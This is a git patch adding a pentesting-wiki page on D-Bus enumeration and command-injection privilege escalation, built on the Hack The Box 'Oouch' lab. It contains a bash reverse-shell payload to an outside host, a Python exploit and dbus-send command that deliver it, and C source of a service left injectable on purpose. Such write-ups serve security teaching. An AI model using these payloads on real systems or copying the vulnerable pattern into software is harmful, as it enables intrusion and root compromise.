From cb1c3ad7dfdf5b38999ea801a70c9be695e540af Mon Sep 17 00:00:00 2001 From: CPol Date: Fri, 7 Aug 2020 00:26:17 +0000 Subject: [PATCH] GitBook: [master] 359 pages modified --- SUMMARY.md | 1 + linux-unix/privilege-escalation/README.md | 8 +- ...-command-injection-privilege-escalation.md | 398 ++++++++++++++++++ 3 files changed, 405 insertions(+), 2 deletions(-) create mode 100644 linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md diff --git a/SUMMARY.md b/SUMMARY.md index f47eb3ced..68917b1ac 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -19,6 +19,7 @@ * [Checklist - Linux Privilege Escalation](linux-unix/linux-privilege-escalation-checklist.md) * [Linux Privilege Escalation](linux-unix/privilege-escalation/README.md) + * [D-Bus Enumeration & Command Injection Privilege Escalation](linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md) * [Interesting Groups - Linux PE](linux-unix/privilege-escalation/interesting-groups-linux-pe.md) * [NFS no\_root\_squash/no\_all\_squash misconfiguration PE](linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md) * [lxc - Privilege escalation](linux-unix/privilege-escalation/lxd-privilege-escalation.md) diff --git a/linux-unix/privilege-escalation/README.md b/linux-unix/privilege-escalation/README.md index 5ce460136..753736e86 100644 --- a/linux-unix/privilege-escalation/README.md +++ b/linux-unix/privilege-escalation/README.md @@ -195,7 +195,7 @@ If the socket **respond with a HTTP** request, then you can **communicate** with ## **D-Bus** -D-BUS is an **interprocess communication \(IPC\) system**, providing a simple yet powerful mechanism **allowing applications to talk to one another**, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system. +D-BUS is an **inter-process communication \(IPC\) system**, providing a simple yet powerful mechanism **allowing applications to talk to one another**, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system. D-BUS, as a full-featured IPC and object system, has several intended uses. First, D-BUS can perform basic application IPC, allowing one process to shuttle data to another—think **UNIX domain sockets on steroids**. Second, D-BUS can facilitate sending events, or signals, through the system, allowing different components in the system to communicate and ultimately to integrate better. For example, a Bluetooth dæmon can send an incoming call signal that your music player can intercept, muting the volume until the call ends. Finally, D-BUS implements a remote object system, letting one application request services and invoke methods from a different object—think CORBA without the complications. ****\(From [here](https://www.linuxjournal.com/article/7744)\). @@ -203,7 +203,7 @@ D-Bus use an **allow/deny model**, where each message \(method call, signal emis Part of the policy of `/etc/dbus-1/system.d/wpa_supplicant.conf`: -```bash +```markup @@ -217,6 +217,10 @@ Therefore, if a policy is allowing your user in anyway to **interact with the bu Note that a **policy** that **doesn't specify** any user or group affects everyone \(``\). Policies to the context "default" affects everyone not affected by other policies \(` + + + + + + + + + + + + + + + +``` + +Note from the previous configuration that **you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication. + +As user **qtc** inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py._ This is the interesting code: + +```python +if primitive_xss.search(form.textfield.data): + bus = dbus.SystemBus() + block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') + block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') + + client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) + response = block_iface.Block(client_ip) + bus.close() + return render_template('hacker.html', title='Hacker') +``` + +As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client\_ip". + +In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening** in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address. +**The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` + +### Exploit it + +At the end of this page you can find the **complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the** _**D-Bus object path**_ **and** _**interface name**_ **are registered**. This information will be necessary to send information to the D-Bus connection: + +```c + /* Install the object */ + r = sd_bus_add_object_vtable(bus, + &slot, + "/htb/oouch/Block", /* interface */ + "htb.oouch.Block", /* service object */ + block_vtable, + NULL); +``` + +Also, in line 57 you can find that **the only method registered** for this D-Bus communication is called `Block`\(_**Thats why in the following section the payloads are going to be sent to the service object `htb.oouch.Block`, the interface `/htb/oouch/Block` and the method name `Block`**_\): + +```c +SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), +``` + +#### Python + +The following python code will send the payload to the D-Bus connection to the `Block` method via `block_iface.Block(runme)` \(_note that it was extracted from the previous chunk of code_\): + +```python +import dbus +bus = dbus.SystemBus() +block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') +block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') +runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #" +response = block_iface.Block(runme) +bus.close() +``` + +#### busctl and dbus-send + +```bash +dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #' +``` + +* `dbus-send` is a tool used to send message to “Message Bus” +* Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue \(messages are ordered in sequence\) but in Message Bus the messages are sending in a subscription model and also very quick. +* “-system” tag is used to mention that it is a system message, not a session message \(by default\). +* “–print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format. +* “–dest=Dbus-Interface-Block” The address of the Dbus interface. +* “–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file \(FIFO\) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command. + +_Note that in `htb.oouch.Block.Block`, the first part \(`htb.oouch.Block`\) references the service object and the last part \(`.Block`\) references the method name._ + +### C code + +```c +#include +#include +#include +#include +#include +#include + +static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) { + char* host = NULL; + int r; + + /* Read the parameters */ + r = sd_bus_message_read(m, "s", &host); + if (r < 0) { + fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); + return r; + } + + char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; + + int command_len = strlen(command); + int host_len = strlen(host); + + char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); + if(command_buffer == NULL) { + fprintf(stderr, "Failed to allocate memory\n"); + return -1; + } + + sprintf(command_buffer, command, host); + + /* In the first implementation, we simply ran command using system(), since the expected DBus + * to be threading automatically. However, DBus does not thread and the application will hang + * forever if some user spawns a shell. Thefore we need to fork (easier than implementing real + * multithreading) + */ + int pid = fork(); + + if ( pid == 0 ) { + /* Here we are in the child process. We execute the command and eventually exit. */ + system(command_buffer); + exit(0); + } else { + /* Here we are in the parent process or an error occured. We simply send a genric message. + * In the first implementation we returned separate error messages for success or failure. + * However, now we cannot wait for results of the system call. Therefore we simply return + * a generic. */ + return sd_bus_reply_method_return(m, "s", "Carried out :D"); + } + r = system(command_buffer); +} + + +/* The vtable of our little object, implements the net.poettering.Calculator interface */ +static const sd_bus_vtable block_vtable[] = { + SD_BUS_VTABLE_START(0), + SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), + SD_BUS_VTABLE_END +}; + + +int main(int argc, char *argv[]) { + /* + * Main method, registeres the htb.oouch.Block service on the system dbus. + * + * Paramaters: + * argc (int) Number of arguments, not required + * argv[] (char**) Argument array, not required + * + * Returns: + * Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive + * as long as the user keeps it alive. + */ + + + /* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ + signal(SIGCHLD,SIG_IGN); + + sd_bus_slot *slot = NULL; + sd_bus *bus = NULL; + int r; + + /* First we need to connect to the system bus. */ + r = sd_bus_open_system(&bus); + if (r < 0) + { + fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); + goto finish; + } + + /* Install the object */ + r = sd_bus_add_object_vtable(bus, + &slot, + "/htb/oouch/Block", /* interface */ + "htb.oouch.Block", /* service object */ + block_vtable, + NULL); + if (r < 0) { + fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); + goto finish; + } + + /* Register the service name to find out object */ + r = sd_bus_request_name(bus, "htb.oouch.Block", 0); + if (r < 0) { + fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); + goto finish; + } + + /* Infinite loop to process the client requests */ + for (;;) { + /* Process requests */ + r = sd_bus_process(bus, NULL); + if (r < 0) { + fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); + goto finish; + } + if (r > 0) /* we processed a request, try to process another one, right-away */ + continue; + + /* Wait for the next request to process */ + r = sd_bus_wait(bus, (uint64_t) -1); + if (r < 0) { + fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); + goto finish; + } + } + +finish: + sd_bus_slot_unref(slot); + sd_bus_unref(bus); + + return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; +} + +``` +